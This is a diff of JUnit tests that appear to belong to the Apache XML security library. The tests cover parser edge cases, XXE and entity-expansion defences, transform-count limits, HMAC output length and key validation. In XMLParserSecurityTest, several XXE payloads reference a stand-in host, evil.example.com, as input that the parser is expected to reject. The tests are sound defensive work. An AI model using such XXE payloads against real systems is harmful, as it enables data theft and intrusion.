+        String xml = "<?xml version=\"1.0\"?><" + longName + ">text</" + longName + ">";
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+        
+        // Should either parse or reject gracefully
+        assertDoesNotThrow(() -> {
+            try {
+                Document doc = XMLUtils.read(bais, false);
+                assertNotNull(doc);
+            } catch (XMLParserException e) {
+                // Length limit is acceptable
+                assertNotNull(e.getMessage());
+            }
+        });
+    }
+
+    /**
+     * Test XML with very long attribute values.
+     */
+    @Test
+    void testVeryLongAttributeValue() {
+        StringBuilder longValue = new StringBuilder();
+        for (int i = 0; i < 100000; i++) {
+            longValue.append('x');
+        }
+        String xml = "<?xml version=\"1.0\"?><root attr=\"" + longValue + "\">text</root>";
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+        
+        // Should handle or reject gracefully
+        assertDoesNotThrow(() -> {
+            try {
+                Document doc = XMLUtils.read(bais, false);
+                assertNotNull(doc);
+            } catch (XMLParserException e) {
+                // Length limit is acceptable
+                assertNotNull(e.getMessage());
+            }
+        });
+    }
+
+    /**
+     * Test XML with BOM (Byte Order Mark).
+     */
+    @Test
+    void testXMLWithBOM() throws Exception {
+        // UTF-8 BOM followed by XML
+        byte[] bom = new byte[]{(byte) 0xEF, (byte) 0xBB, (byte) 0xBF};
+        byte[] xml = "<?xml version=\"1.0\"?><root>test</root>".getBytes(StandardCharsets.UTF_8);
+        byte[] combined = new byte[bom.length + xml.length];
+        System.arraycopy(bom, 0, combined, 0, bom.length);
+        System.arraycopy(xml, 0, combined, bom.length, xml.length);
+        
+        ByteArrayInputStream bais = new ByteArrayInputStream(combined);
+        
+        // BOM should be handled correctly
+        Document doc = XMLUtils.read(bais, false);
+        assertNotNull(doc);
+        assertEquals("root", doc.getDocumentElement().getNodeName());
+    }
+
+    /**
+     * Test XML with CDATA section.
+     */
+    @Test
+    void testXMLWithCDATA() throws Exception {
+        String xml = "<?xml version=\"1.0\"?><root><![CDATA[<>&\"']]></root>";
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+        
+        Document doc = XMLUtils.read(bais, false);
+        assertNotNull(doc);
+        String content = doc.getDocumentElement().getTextContent();
+        assertEquals("<>&\"'", content);
+    }
+
+    /**
+     * Test XML with comments.
+     */
+    @Test
+    void testXMLWithComments() throws Exception {
+        String xml = "<?xml version=\"1.0\"?><!-- comment --><root><!-- another -->text</root>";
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+        
+        Document doc = XMLUtils.read(bais, false);
+        assertNotNull(doc);
+        assertEquals("text", doc.getDocumentElement().getTextContent());
+    }
+
+    /**
+     * Test XML with processing instructions.
+     */
+    @Test
+    void testXMLWithProcessingInstructions() throws Exception {
+        String xml = "<?xml version=\"1.0\"?><?target data?><root>text</root>";
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+        
+        Document doc = XMLUtils.read(bais, false);
+        assertNotNull(doc);
+        assertEquals("root", doc.getDocumentElement().getNodeName());
+    }
+
+    /**
+     * Test XML with namespaces.
+     */
+    @Test
+    void testXMLWithNamespaces() throws Exception {
+        String xml = "<?xml version=\"1.0\"?>" +
+            "<root xmlns=\"http://example.com\" xmlns:ns=\"http://ns.example.com\">" +
+            "<ns:child>text</ns:child></root>";
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+        
+        Document doc = XMLUtils.read(bais, false);
+        assertNotNull(doc);
+        assertEquals("http://example.com", doc.getDocumentElement().getNamespaceURI());
+    }
+
+    /**
+     * Test that whitespace-only content is handled correctly.
+     */
+    @Test
+    void testWhitespaceOnlyContent() throws Exception {
+        String xml = "<?xml version=\"1.0\"?><root>   \n\t  </root>";
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+        
+        Document doc = XMLUtils.read(bais, false);
+        assertNotNull(doc);
+        // Whitespace should be preserved or normalized according to XML rules
+        assertNotNull(doc.getDocumentElement().getTextContent());
+    }
+}
diff --git a/src/test/java/org/apache/xml/security/test/dom/parser/XMLParserSecurityTest.java b/src/test/java/org/apache/xml/security/test/dom/parser/XMLParserSecurityTest.java
new file mode 100644
index 00000000..882d0ee5
--- /dev/null
+++ b/src/test/java/org/apache/xml/security/test/dom/parser/XMLParserSecurityTest.java
@@ -0,0 +1,157 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.xml.security.test.dom.parser;
+
+import org.apache.xml.security.parser.XMLParserException;
+import org.apache.xml.security.utils.XMLUtils;
+import org.junit.jupiter.api.Test;
+import org.w3c.dom.Document;
+
+import java.io.ByteArrayInputStream;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Tests for XML parser security features including entity expansion attacks,
+ * XXE (XML External Entity) attacks, and DOCTYPE declaration handling.
+ */
+class XMLParserSecurityTest {
+
+    static {
+        org.apache.xml.security.Init.init();
+    }
+
+    public XMLParserSecurityTest() {
+        // Public constructor for JUnit
+    }
+
+    /**
+     * Test that external HTTP entity references are blocked.
+     */
+    @Test
+    void testExternalHttpEntityBlocked() {
+        String xxe = "<?xml version=\"1.0\"?>" +
+            "<!DOCTYPE foo [" +
+            "<!ENTITY xxe SYSTEM \"http://evil.example.com/malicious.dtd\">" +
+            "]>" +
+            "<root>&xxe;</root>";
+
+        ByteArrayInputStream bais = new ByteArrayInputStream(xxe.getBytes(StandardCharsets.UTF_8));
+
+        // Should throw exception
+        XMLParserException exception = assertThrows(XMLParserException.class, () -> {
+            XMLUtils.read(bais, false);
+        });
+        assertNotNull(exception.getMessage());
+    }
+
+    /**
+     * Test that DOCTYPE declarations can be disabled.
+     */
+    @Test
+    void testDoctypeDisallowed() {
+        String xmlWithDTD = "<?xml version=\"1.0\"?>" +
+            "<!DOCTYPE root SYSTEM \"test.dtd\">" +
+            "<root/>";
+
+        ByteArrayInputStream bais = new ByteArrayInputStream(xmlWithDTD.getBytes(StandardCharsets.UTF_8));
+
+        // Should throw exception when DTDs are disallowed
+        assertThrows(XMLParserException.class, () -> {
+            XMLUtils.read(bais, true);
+        });
+    }
+
+    /**
+     * Test that parameter entity references are blocked.
+     */
+    @Test
+    void testParameterEntityBlocked() {
+        String xml = "<?xml version=\"1.0\"?>" +
+            "<!DOCTYPE foo [" +
+            "<!ENTITY % xxe SYSTEM \"http://evil.example.com/xxe.dtd\">" +
+            "%xxe;" +
+            "]>" +
+            "<root/>";
+
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+
+        // Should throw exception
+        XMLParserException exception = assertThrows(XMLParserException.class, () -> {
+            XMLUtils.read(bais, false);
+        });
+        assertNotNull(exception.getMessage());
+    }
+
+    /**
+     * Test that circular entity references are detected.
+     */
+    @Test
+    void testCircularEntityDetected() {
+        String xml = "<?xml version=\"1.0\"?>" +
+            "<!DOCTYPE root [" +
+            "<!ENTITY a \"&b;\">" +
+            "<!ENTITY b \"&a;\">" +
+            "]>" +
+            "<root>&a;</root>";
+
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+
+        // Should throw exception for circular reference
+        XMLParserException exception = assertThrows(XMLParserException.class, () -> {
+            XMLUtils.read(bais, false);
+        });
+        assertNotNull(exception.getMessage());
+    }
+
+    /**
+     * Test that valid XML without entities parses correctly.
+     */
+    @Test
+    void testValidXmlWithoutEntities() throws Exception {
+        String validXml = "<?xml version=\"1.0\"?><root><child>Content</child></root>";
+
+        ByteArrayInputStream bais = new ByteArrayInputStream(validXml.getBytes(StandardCharsets.UTF_8));
+
+        Document doc = XMLUtils.read(bais, true);
+        assertNotNull(doc);
+        assertEquals("root", doc.getDocumentElement().getNodeName());
+        assertEquals("Content", doc.getDocumentElement().getFirstChild().getTextContent());
+    }
+
+    /**
+     * Test that internal entities can be used when allowed.
+     */
+    @Test
+    void testInternalEntityAllowed() throws Exception {
+        String xml = "<?xml version=\"1.0\"?>" +
+            "<!DOCTYPE root [" +
+            "<!ENTITY safe \"SafeContent\">" +
+            "]>" +
+            "<root>&safe;</root>";
+
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
+
+        // Internal entities should work when DTDs are allowed
+        Document doc = XMLUtils.read(bais, false);
+        assertNotNull(doc);
+        assertNotNull(doc.getDocumentElement());
+    }
+}
diff --git a/src/test/java/org/apache/xml/security/test/dom/secure_val/TransformLimitTest.java b/src/test/java/org/apache/xml/security/test/dom/secure_val/TransformLimitTest.java
new file mode 100644
index 00000000..048e1825
--- /dev/null
+++ b/src/test/java/org/apache/xml/security/test/dom/secure_val/TransformLimitTest.java
@@ -0,0 +1,226 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.xml.security.test.dom.secure_val;
+
+import org.apache.xml.security.algorithms.MessageDigestAlgorithm;
+import org.apache.xml.security.exceptions.XMLSecurityException;
+import org.apache.xml.security.signature.Reference;
+import org.apache.xml.security.signature.XMLSignature;
+import org.apache.xml.security.test.dom.TestUtils;
+import org.apache.xml.security.transforms.Transforms;
+import org.apache.xml.security.utils.Constants;
+import org.apache.xml.security.utils.XMLUtils;
+import org.junit.jupiter.api.Test;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Tests for the maximum number of transforms in a Reference.
+ * This prevents DoS attacks via excessive transform processing.
+ */
+class TransformLimitTest {
+
+    static {
+        org.apache.xml.security.Init.init();
+    }
+
+    public TransformLimitTest() {
+        // Public constructor for JUnit
+    }
+
+    /**
+     * Test that the MAXIMUM_TRANSFORM_COUNT constant is defined and has
+     * the expected value (5 transforms as per spec).
+     */
+    @Test
+    void testTransformCountConstantExists() {
+        // Verify the constant is defined
+        int maxCount = Reference.MAXIMUM_TRANSFORM_COUNT;
+        
+        // Per the XML Digital Signature spec and security best practices,
+        // the maximum should be 5
+        assertEquals(5, maxCount, 
+            "Maximum transform count should be 5 to prevent DoS attacks");
+    }
+
+    /**
+     * Test that a signature with exactly 5 transforms is accepted
+     * when secure validation is enabled.
+     */
+    @Test
+    void testExactlyMaxTransformsAccepted() throws Exception {
+        Document doc = createSignatureWithTransforms(Reference.MAXIMUM_TRANSFORM_COUNT);
+        
+        // Parse with secure validation enabled - should succeed
+        byte[] signedBytes = docToBytes(doc);
+        Document parsedDoc = XMLUtils.read(new ByteArrayInputStream(signedBytes), false);
+        Element sigElement = getSignatureElement(parsedDoc);
+        
+        // This should not throw an exception
+        XMLSignature signature = new XMLSignature(sigElement, "", true);
+        assertNotNull(signature);
+        assertEquals(1, signature.getSignedInfo().getLength());
+        
+        // Access the reference to trigger parsing and validation
+        Reference ref = signature.getSignedInfo().item(0);
+        assertNotNull(ref);
+    }
+
+    /**
+     * Test that a signature with 6 transforms (exceeding the limit) is rejected
+     * when secure validation is enabled.
+     */
+    @Test
+    void testExcessiveTransformsRejectedWithSecureValidation() throws Exception {
+        int transformCount = Reference.MAXIMUM_TRANSFORM_COUNT + 1;
+        Document doc = createSignatureWithTransforms(transformCount);
+        
+        // Parse with secure validation enabled - should fail
+        byte[] signedBytes = docToBytes(doc);
+        Document parsedDoc = XMLUtils.read(new ByteArrayInputStream(signedBytes), false);
+        Element sigElement = getSignatureElement(parsedDoc);
+        
+        XMLSignature signature = new XMLSignature(sigElement, "", true);
+        
+        // Accessing the reference should trigger the validation and throw exception
+        XMLSecurityException exception = assertThrows(XMLSecurityException.class, () -> {
+            signature.getSignedInfo().item(0);
+        }, "Should reject signature with " + transformCount + " transforms when secure validation is enabled");
+        
+        assertTrue(exception.getMessage().contains("tooManyTransforms") ||
+                   exception.getMessage().contains("transforms"),
+                   "Exception message should mention transforms: " + exception.getMessage());
+    }
+
+    /**
+     * Test that a signature with 6 transforms is accepted when secure validation
+     * is disabled (backward compatibility).
+     */
+    @Test
+    void testExcessiveTransformsAcceptedWithoutSecureValidation() throws Exception {
+        int transformCount = Reference.MAXIMUM_TRANSFORM_COUNT + 1;
+        Document doc = createSignatureWithTransforms(transformCount);
+        
+        // Parse with secure validation disabled - should succeed
+        byte[] signedBytes = docToBytes(doc);
+        Document parsedDoc = XMLUtils.read(new ByteArrayInputStream(signedBytes), false);
+        Element sigElement = getSignatureElement(parsedDoc);
+        
+        // This should not throw an exception when secure validation is disabled
+        XMLSignature signature = new XMLSignature(sigElement, "", false);
+        assertNotNull(signature);
+        assertEquals(1, signature.getSignedInfo().getLength());
+        
+        // Access the reference - should work without secure validation
+        Reference ref = signature.getSignedInfo().item(0);
+        assertNotNull(ref);
+    }
+
+    /**
+     * Test with an extreme number of transforms (10) to verify the limit enforcement.
+     */
+    @Test
+    void testExtremeTransformCountRejected() throws Exception {
+        int transformCount = 10;
+        Document doc = createSignatureWithTransforms(transformCount);
+        
+        // Parse with secure validation enabled - should fail
+        byte[] signedBytes = docToBytes(doc);
+        Document parsedDoc = XMLUtils.read(new ByteArrayInputStream(signedBytes), false);
+        Element sigElement = getSignatureElement(parsedDoc);
+        
+        XMLSignature signature = new XMLSignature(sigElement, "", true);
+        
+        // Accessing the reference should trigger the validation and throw exception
+        XMLSecurityException exception = assertThrows(XMLSecurityException.class, () -> {
+            signature.getSignedInfo().item(0);
+        }, "Should reject signature with " + transformCount + " transforms");
+        
+        assertTrue(exception.getMessage().contains("tooManyTransforms") ||
+                   exception.getMessage().contains("transforms"),
+                   "Exception message should mention transforms");
+    }
+
+    /**
+     * Creates a signed XML document with the specified number of transforms.
+     * Each transform is a valid canonicalization transform.
+     */
+    private Document createSignatureWithTransforms(int transformCount) throws Exception {
+        // Create a simple document
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("", "RootElement");
+        doc.appendChild(root);
+        root.appendChild(doc.createTextNode("Some content to sign"));
+
+        // Create signature
+        KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
+        kpg.initialize(2048);
+        KeyPair kp = kpg.generateKeyPair();
+        
+        XMLSignature sig = new XMLSignature(doc, "", XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        root.appendChild(sig.getElement());
+
+        // Create transforms with the specified count
+        Transforms transforms = new Transforms(doc);
+        
+        // Add the requested number of transforms
+        // We alternate between different canonicalization methods to ensure validity
+        String[] transformAlgorithms = {
+            Transforms.TRANSFORM_C14N_OMIT_COMMENTS,
+            Transforms.TRANSFORM_C14N_WITH_COMMENTS,
+            Transforms.TRANSFORM_C14N_EXCL_OMIT_COMMENTS,
+            Transforms.TRANSFORM_C14N_EXCL_WITH_COMMENTS,
+            Transforms.TRANSFORM_C14N11_OMIT_COMMENTS,
+            Transforms.TRANSFORM_C14N11_WITH_COMMENTS
+        };
+        
+        for (int i = 0; i < transformCount; i++) {
+            String algorithm = transformAlgorithms[i % transformAlgorithms.length];
+            transforms.addTransform(algorithm);
+        }
+
+        // Add document reference with transforms
+        sig.addDocument("", transforms, MessageDigestAlgorithm.ALGO_ID_DIGEST_SHA256);
+        
+        // Add public key info
+        sig.addKeyInfo(kp.getPublic());
+        
+        // Sign the document
+        sig.sign(kp.getPrivate());
+
+        return doc;
+    }
+
+    private byte[] docToBytes(Document doc) throws Exception {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        XMLUtils.outputDOMc14nWithComments(doc, bos);
+        return bos.toByteArray();
+    }
+
+    private Element getSignatureElement(Document doc) {
+        return (Element) doc.getElementsByTagNameNS(Constants.SignatureSpecNS, Constants._TAG_SIGNATURE).item(0);
+    }
+}
diff --git a/src/test/java/org/apache/xml/security/test/dom/signature/HMACOutputLengthTest.java b/src/test/java/org/apache/xml/security/test/dom/signature/HMACOutputLengthTest.java
index d3bcf570..1a10842d 100644
--- a/src/test/java/org/apache/xml/security/test/dom/signature/HMACOutputLengthTest.java
+++ b/src/test/java/org/apache/xml/security/test/dom/signature/HMACOutputLengthTest.java
@@ -40,6 +40,8 @@ import org.w3c.dom.Element;
 import org.w3c.dom.NodeList;
 
 import static org.apache.xml.security.test.XmlSecTestEnvironment.resolveFile;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.junit.jupiter.api.Assertions.fail;
 
@@ -152,4 +154,137 @@ class HMACOutputLengthTest {
         return signature.checkSignatureValue(sk);
     }
 
+    /**
+     * Test that zero HMAC output length via the constructor is treated as "use default"
+     * (no HMACOutputLength element set), not an error. Zero-length rejection when
+     * explicitly present in an XML document is covered by test_signature_enveloping_hmac_sha1_trunclen_0.
+     */
+    @Test
+    void testZeroOutputLengthDirect() throws Exception {
+        Document doc = TestUtils.newDocument();
+        // 0 is the sentinel for "no output length specified" in this API
+        XMLSignature sig = new XMLSignature(
+            doc, null, XMLSignature.ALGO_ID_MAC_HMAC_SHA1,
+            0, Canonicalizer.ALGO_ID_C14N_OMIT_COMMENTS
+        );
+        assertNotNull(sig);
+    }
+
+    /**
+     * Test HMAC output length just below minimum (should fail).
+     */
+    @Test
+    void testBelowMinimumOutputLength() {
+        assertThrows(XMLSignatureException.class, () -> {
+            Document doc = TestUtils.newDocument();
+            // 79 bits is below minimum of 80
+            new XMLSignature(
+                doc, null, XMLSignature.ALGO_ID_MAC_HMAC_SHA1,
+                79, Canonicalizer.ALGO_ID_C14N_OMIT_COMMENTS
+            );
+        }, "Output length below minimum should be rejected");
+    }
+
+    /**
+     * Test HMAC output length exceeding algorithm output size.
+     */
+    @Test
+    void testExcessiveOutputLength() throws Exception {
+        Document doc = TestUtils.newDocument();
+        
+        // HMAC-SHA1 produces 160 bits, try to request 256 bits
+        try {
+            XMLSignature sig = new XMLSignature(
+                doc, null, XMLSignature.ALGO_ID_MAC_HMAC_SHA1,
+                256, Canonicalizer.ALGO_ID_C14N_OMIT_COMMENTS
+            );
+            // If this succeeds, it means excessive length is truncated to max
+            assertNotNull(sig);
+        } catch (XMLSignatureException e) {
+            // Also acceptable - excessive length rejected
+            assertTrue(e.getMessage().contains("HMACOutputLength") || 
+                      e.getMessage().contains("length"),
+                "Exception should mention output length issue");
+        }
+    }
+
+    /**
+     * Test HMAC with maximum valid output length (160 bits for SHA1).
+     */
+    @Test
+    void testMaximumOutputLength() throws Exception {
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("", "RootElement");
+        doc.appendChild(root);
+        root.appendChild(doc.createTextNode("Test content"));
+
+        // 160 bits is the full output for HMAC-SHA1
+        XMLSignature sig = new XMLSignature(
+            doc, null, XMLSignature.ALGO_ID_MAC_HMAC_SHA1,
+            160, Canonicalizer.ALGO_ID_C14N_OMIT_COMMENTS
+        );
+        
+        root.appendChild(sig.getElement());
+        
+        Transforms transforms = new Transforms(doc);
+        transforms.addTransform(Transforms.TRANSFORM_ENVELOPED_SIGNATURE);
+        sig.addDocument("", transforms, MessageDigestAlgorithm.ALGO_ID_DIGEST_SHA256);
+
+        SecretKey sk = sig.createSecretKey("secret".getBytes(StandardCharsets.US_ASCII));
+        sig.sign(sk);
+        
+        assertTrue(sig.checkSignatureValue(sk));
+    }
+
+    /**
+     * Test that missing HMACOutputLength element defaults appropriately.
+     */
+    @Test
+    void testMissingOutputLengthElement() throws Exception {
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("", "RootElement");
+        doc.appendChild(root);
+        root.appendChild(doc.createTextNode("Test content"));
+
+        // Create signature without specifying output length (uses default)
+        XMLSignature sig = new XMLSignature(
+            doc, null, XMLSignature.ALGO_ID_MAC_HMAC_SHA1,
+            Canonicalizer.ALGO_ID_C14N_OMIT_COMMENTS
+        );
+        
+        root.appendChild(sig.getElement());
+        
+        Transforms transforms = new Transforms(doc);
+        transforms.addTransform(Transforms.TRANSFORM_ENVELOPED_SIGNATURE);
+        sig.addDocument("", transforms, MessageDigestAlgorithm.ALGO_ID_DIGEST_SHA256);
+
+        SecretKey sk = sig.createSecretKey("secret".getBytes(StandardCharsets.US_ASCII));
+        sig.sign(sk);
+        
+        // Should use full output length by default
+        assertTrue(sig.checkSignatureValue(sk));
+    }
+
+
+    /**
+     * Test that non-multiple-of-8 output length is handled.
+     */
+    @Test
+    void testNonByteAlignedOutputLength() throws Exception{
+        // Output length should be in bits, but might need to be byte-aligned
+        // Test with 85 bits (not a multiple of 8)
+        try {
+            Document doc = TestUtils.newDocument();
+            XMLSignature sig = new XMLSignature(
+                doc, null, XMLSignature.ALGO_ID_MAC_HMAC_SHA1,
+                85, Canonicalizer.ALGO_ID_C14N_OMIT_COMMENTS
+            );
+            // If this succeeds, non-byte-aligned lengths are accepted
+            assertNotNull(sig);
+        } catch (XMLSignatureException e) {
+            // Also acceptable - require byte alignment
+            assertNotNull(e);
+        }
+    }
+
 }
\ No newline at end of file
diff --git a/src/test/java/org/apache/xml/security/test/dom/signature/InvalidKeyTest.java b/src/test/java/org/apache/xml/security/test/dom/signature/InvalidKeyTest.java
index b9feb5fb..ab3213fb 100644
--- a/src/test/java/org/apache/xml/security/test/dom/signature/InvalidKeyTest.java
+++ b/src/test/java/org/apache/xml/security/test/dom/signature/InvalidKeyTest.java
@@ -20,11 +20,17 @@ package org.apache.xml.security.test.dom.signature;
 
 import java.io.File;
 import java.io.FileInputStream;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
 import java.security.KeyStore;
 import java.security.PublicKey;
 
 import org.apache.xml.security.Init;
+import org.apache.xml.security.algorithms.MessageDigestAlgorithm;
+import org.apache.xml.security.exceptions.XMLSecurityException;
 import org.apache.xml.security.signature.XMLSignature;
+import org.apache.xml.security.test.dom.TestUtils;
+import org.apache.xml.security.transforms.Transforms;
 import org.apache.xml.security.utils.XMLUtils;
 import org.junit.jupiter.api.Test;
 import org.w3c.dom.Attr;
@@ -33,6 +39,7 @@ import org.w3c.dom.Element;
 import org.w3c.dom.Node;
 
 import static org.apache.xml.security.test.XmlSecTestEnvironment.resolveFile;
+import static org.junit.jupiter.api.Assertions.*;
 
 /**
  * Test case contributed by Matthias Germann for testing that bug 43239 is
@@ -82,4 +89,86 @@ class InvalidKeyTest {
         // System.out.println("VALIDATION OK" );
     }
 
+    /**
+     * Test that wrong key type is properly rejected.
+     * Using EC key when RSA is expected should fail clearly.
+     */
+    @Test
+    void testWrongKeyTypeRejection() throws Exception {
+        File file = resolveFile("src/test/resources/org/apache/xml/security/samples/input/test-assertion.xml");
+        Document doc = XMLUtils.read(file, false);
+        Node assertion = doc.getFirstChild();
+        while (!(assertion instanceof Element)) {
+            assertion = assertion.getNextSibling();
+        }
+        
+        Element n = (Element)assertion.getLastChild();
+        XMLSignature sig = new XMLSignature(n, "");
+        
+        // Generate an EC key when signature expects RSA/DSA
+        KeyPairGenerator keyGen = KeyPairGenerator.getInstance("EC");
+        keyGen.initialize(256);
+        KeyPair keyPair = keyGen.generateKeyPair();
+        
+        assertThrows(XMLSecurityException.class, () -> {
+            sig.checkSignatureValue(keyPair.getPublic());
+        }, "EC key should be rejected when RSA/DSA signature expected");
+    }
+
+    /**
+     * Test that different keys from same algorithm type are rejected.
+     * Sign with one RSA key, verify with different RSA key.
+     */
+    @Test
+    void testDifferentKeySameAlgorithm() throws Exception {
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("", "RootElement");
+        doc.appendChild(root);
+        root.appendChild(doc.createTextNode("Test content"));
+        
+        // Generate two different RSA key pairs
+        KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
+        keyGen.initialize(2048);
+        KeyPair keyPair1 = keyGen.generateKeyPair();
+        KeyPair keyPair2 = keyGen.generateKeyPair();
+        
+        // Sign with first key
+        XMLSignature sig = new XMLSignature(doc, "", XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        root.appendChild(sig.getElement());
+        Transforms transforms = new Transforms(doc);
+        transforms.addTransform(Transforms.TRANSFORM_ENVELOPED_SIGNATURE);
+        sig.addDocument("", transforms, MessageDigestAlgorithm.ALGO_ID_DIGEST_SHA256);
+        sig.sign(keyPair1.getPrivate());
+        
+        // Verify with second key should fail
+        assertFalse(sig.checkSignatureValue(keyPair2.getPublic()),
+            "Signature should not verify with different RSA key");
+    }
+
+    /**
+     * Test that matching key pair works correctly.
+     */
+    @Test
+    void testMatchingKeyPairSucceeds() throws Exception {
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("", "RootElement");
+        doc.appendChild(root);
+        root.appendChild(doc.createTextNode("Test content"));
+        
+        KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
+        keyGen.initialize(2048);
+        KeyPair keyPair = keyGen.generateKeyPair();
+        
+        XMLSignature sig = new XMLSignature(doc, "", XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        root.appendChild(sig.getElement());
+        Transforms transforms = new Transforms(doc);
+        transforms.addTransform(Transforms.TRANSFORM_ENVELOPED_SIGNATURE);
+        sig.addDocument("", transforms, MessageDigestAlgorithm.ALGO_ID_DIGEST_SHA256);
+        sig.sign(keyPair.getPrivate());
+        
+        // Verify with matching public key should succeed
+        assertTrue(sig.checkSignatureValue(keyPair.getPublic()),
+            "Signature should verify with matching key pair");
+    }
+
 }
diff --git a/src/test/java/org/apache/xml/security/test/dom/signature/NoKeyInfoTest.java b/src/test/java/org/apache/xml/security/test/dom/signature/NoKeyInfoTest.java
index 3d92eed2..09d27d0a 100644
--- a/src/test/java/org/apache/xml/security/test/dom/signature/NoKeyInfoTest.java
+++ b/src/test/java/org/apache/xml/security/test/dom/signature/NoKeyInfoTest.java
@@ -20,11 +20,15 @@ package org.apache.xml.security.test.dom.signature;
 
 
 import java.io.File;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
 
 import org.apache.xml.security.Init;
 import org.apache.xml.security.keys.KeyInfo;
 import org.apache.xml.security.signature.XMLSignature;
 import org.apache.xml.security.test.XmlSecTestEnvironment;
+import org.apache.xml.security.test.dom.TestUtils;
+import org.apache.xml.security.transforms.Transforms;
 import org.apache.xml.security.utils.Constants;
 import org.apache.xml.security.utils.XMLUtils;
 import org.junit.jupiter.api.Test;
@@ -32,6 +36,7 @@ import org.w3c.dom.Document;
 import org.w3c.dom.Element;
 import org.w3c.dom.NodeList;
 
+import static org.junit.jupiter.api.Assertions.assertNotNull;
 import static org.junit.jupiter.api.Assertions.assertNull;
 
 class NoKeyInfoTest {
@@ -51,4 +56,116 @@ class NoKeyInfoTest {
         assertNull(ki);
     }
 
+    /**
+     * Test that empty KeyInfo element (no children) is handled.
+     */
+    @Test
+    void testEmptyKeyInfo() throws Exception {
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("http://test.example.org/", "root");
+        doc.appendChild(root);
+        
+        // Create signature with empty KeyInfo
+        XMLSignature sig = new XMLSignature(doc, "", XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        root.appendChild(sig.getElement());
+        
+        // Add empty KeyInfo manually
+        Element keyInfo = doc.createElementNS(Constants.SignatureSpecNS, "KeyInfo");
+        sig.getElement().insertBefore(keyInfo, sig.getElement().getFirstChild());
+        
+        // Should have KeyInfo but it's empty
+        KeyInfo ki = sig.getKeyInfo();
+        assertNotNull(ki, "Empty KeyInfo should still be accessible");
+        assertNull(ki.getPublicKey(), "Empty KeyInfo should have no public key");
+    }
+
+    /**
+     * Test that malformed KeyInfo with invalid XML structure is rejected.
+     */
+    @Test
+    void testMalformedKeyInfoStructure() throws Exception {
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("http://test.example.org/", "root");
+        doc.appendChild(root);
+        
+        XMLSignature sig = new XMLSignature(doc, "", XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        root.appendChild(sig.getElement());
+        
+        // Add KeyInfo with malformed X509Data (missing required elements)
+        Element keyInfo = doc.createElementNS(Constants.SignatureSpecNS, "KeyInfo");
+        Element x509Data = doc.createElementNS(Constants.SignatureSpecNS, "X509Data");
+        Element invalidChild = doc.createElementNS("http://invalid.example.org/", "InvalidElement");
+        invalidChild.setTextContent("malformed");
+        x509Data.appendChild(invalidChild);
+        keyInfo.appendChild(x509Data);
+        sig.getElement().insertBefore(keyInfo, sig.getElement().getFirstChild());
+        
+        // Accessing KeyInfo should work, but getting public key should fail or return null
+        KeyInfo ki = sig.getKeyInfo();
+        assertNotNull(ki);
